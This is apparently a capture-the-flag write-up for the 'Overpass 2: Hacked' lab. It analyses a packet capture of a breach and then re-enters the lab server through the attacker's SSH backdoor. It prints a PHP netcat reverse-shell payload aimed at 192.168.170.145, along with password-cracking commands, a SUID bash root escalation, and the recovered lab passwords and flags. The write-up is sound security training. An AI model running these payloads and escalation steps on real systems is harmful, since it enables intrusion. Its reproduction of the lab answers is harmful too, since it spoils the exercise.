Overpass 2: Hacked

Overpass has been breached. The SOC team caught the attack mid-action and grabbed a PCAP. The job: trace the kill chain through the capture, then turn around and re-exploit the server using what the attacker left behind.

Two halves. First, work out how they got in. Then walk the same path back into the box.

---

Forensics: analyze the PCAP

First items to inspect are the HTTP packets. Unencrypted plaintext is the juice that’s worth the squeeze.

The URL highlighted in packet 27 looks promising. The packets leading up to it carry critical communication about the payload URL.

Upload page: /development/

Let’s formally sort out what we’re looking for. In Wireshark:

http.request.method == "POST"

Filter for POST requests to isolate the payload upload. Packet 14 shows the POST to the upload page.

Time to follow the conversation. Right-click a TCP packet in the stream, then Follow then TCP Stream or HTTP Stream.

The TCP packets literally speak for themselves.

Payload:

<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

Classic PHP reverse shell, caught by a netcat listener on the attacker’s box. The full exploit exchange is visible in plaintext across the streams.

I had to walk the filter from TCP stream 1 up to stream 2, then 3, to follow the conversation through its path.

The attacker then escalated. sudo to access /etc/shadow:

Privesc password: whenevernoteartinstant

Then cloned a GitHub repo of an SSH backdoor:

This hacker has moves.

Persistence: https://github.com/NinjaJc01/ssh-backdoor

---

Cracking the system passwords

Copy the contents of /etc/shadow to a local file:

Then call our friend John. Mr. Ripper, if you prefer formalities.

john --wordlist=/usr/share/wordlists/fasttrack.txt etc_shadow.txt

Crackable system passwords: 4

---

Analyze the SSH backdoor

Clone the repo in a sandboxed environment.

git clone https://github.com/NinjaJc01/ssh-backdoor.git
cd ssh-backdoor

Glad I’ve been learning and building in Go lately.

Inside main.go, two key values stand out. The default hash for the backdoor:

Default hash: bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3

And the hardcoded salt:

Hardcoded salt: 1c362db832f3f864c8c2fe05f2002a05

Yet again, I find myself very thankful for the Sec+ courses at CIAT. The lectures on salting, peppering, cryptographics, and obfuscation resonated deeply. During hashing, salt is extra characters added into the mix. Without the exact salt, you cannot produce the same hash even if you have the exact password. You need both verbatim: password and salt. With those, you can hashcat your way to a password.

Now to locate the hash the attacker actually used. Right below the SSH key’s randomart (which I affectionately call the “SSH Gumball Machines,” because why not live a little), the hash used during initial backdoor access:

Attacker’s hash: 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

---

Cracking the attacker’s hash

Paste the attacker’s hash into a text file. Do not hit space, do not hit enter. Type a colon, then paste the hardcoded salt:

ATTACKER_HASH:1c362db832f3f864c8c2fe05f2002a05

Save and exit. Then hashcat:

hashcat -m 1710 operation_crack.txt /usr/share/wordlists/rockyou.txt -o operation_cracked.txt

-m 1710 tells hashcat to use SHA-512 (Unix).

cat operation_cracked.txt

Cracked password: november16

That ends the forensics. The kill chain is fully reconstructed. Now we use it.

---

OffSec pivot: back into the box

Paradox needs someone to take control of the production server before it gets formatted. The flags need pulling first.

nmap -sV -sC -p- -T4 TARGET_IP -oA overpass_nmap.txt

In-browser:

These hackers clearly haven’t spent much time on Krita, Canva, or even Microsoft Paint. Go big or go home.

Defacement heading: H4ck3d by CooctusClan

Open ports:

• 22 SSH
• 80 HTTP (defaced)
• 2222 SSH (backdoor)

Port 2222 is the backdoor the threat actor set up. Since he left us the keys, let’s move on in.

ssh james@TARGET_IP -p 2222

The error means the server only offers the old ssh-rsa host key type, which modern OpenSSH disables by default. Workaround:

ssh -oHostKeyAlgorithms=+ssh-rsa james@TARGET_IP -p 2222

We land in the ssh-backdoor directory. Head home and look around.

cd ~/
ls -la

cat user.txt

User flag: thm{d119b4fa8c497ddb0525f7ad200e6567}

---

Privesc via SUID bash

The .suid_bash file in red is the giveaway. Permissions read -rwsr-st-x. The s tells us the binary runs with owner privileges. To the right of the permissions, instead of james james, it shows root root. The file is owned by root and SUID is set.

If you ever want to scan a system for SUID files, put these in your toolkit:

find / -type f -perm -4000 2>/dev/null
find / -type f -perm -u=s 2>/dev/null

For this case, GTFOBins handles the rest:

./.suid_bash -p

cat /root/root.txt

Root flag: thm{d53b2684f169360bb9606c333873144d}

A++. I really do love when I catch the confetti.

---

Full Attack Chain

# === DFIR PHASE ===

# 1. Inspect HTTP packets in Wireshark
http.request.method == "POST"
# -> /development/ is the upload page, packet 27/14 show the POST

# 2. Follow the TCP/HTTP stream of the upload
tcp.stream eq 1
# Right-click -> Follow -> TCP/HTTP Stream
# Reveals the PHP reverse shell payload:
# <?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

# 3. Walk later streams: attacker privesced via sudo (password: whenevernoteartinstant),
#    read /etc/shadow, cloned https://github.com/NinjaJc01/ssh-backdoor for persistence.

# 4. Crack /etc/shadow with John
john --wordlist=/usr/share/wordlists/fasttrack.txt etc_shadow.txt
# 4 passwords crackable

# 5. Clone the backdoor repo and read main.go
git clone https://github.com/NinjaJc01/ssh-backdoor.git
# Default hash + hardcoded salt (1c362db832f3f864c8c2fe05f2002a05) visible in main.go

# 6. Pull the attacker's hash from the PCAP, format hash:salt, crack with hashcat
hashcat -m 1710 operation_crack.txt /usr/share/wordlists/rockyou.txt -o operation_cracked.txt
# -> november16

# === OFFSEC PHASE ===

# 7. Recon the production box
nmap -sV -sC -p- -T4 TARGET_IP
# 22, 80 (defaced "H4ck3d by CooctusClan"), 2222 (attacker's backdoor)

# 8. SSH into the backdoor on 2222 (legacy key algo workaround)
ssh -oHostKeyAlgorithms=+ssh-rsa james@TARGET_IP -p 2222
cd ~/
cat user.txt

# 9. SUID bash privesc
ls -la         # .suid_bash, root-owned, SUID set
./.suid_bash -p
cat /root/root.txt

Recap: PCAP analysis reconstructed the full attack (PHP reverse shell, sudo privesc, SSH backdoor persistence, hash extraction), then we used the attacker’s own backdoor to walk back in, found a SUID bash they left behind, and escalated to root. Two flags pulled before formatting.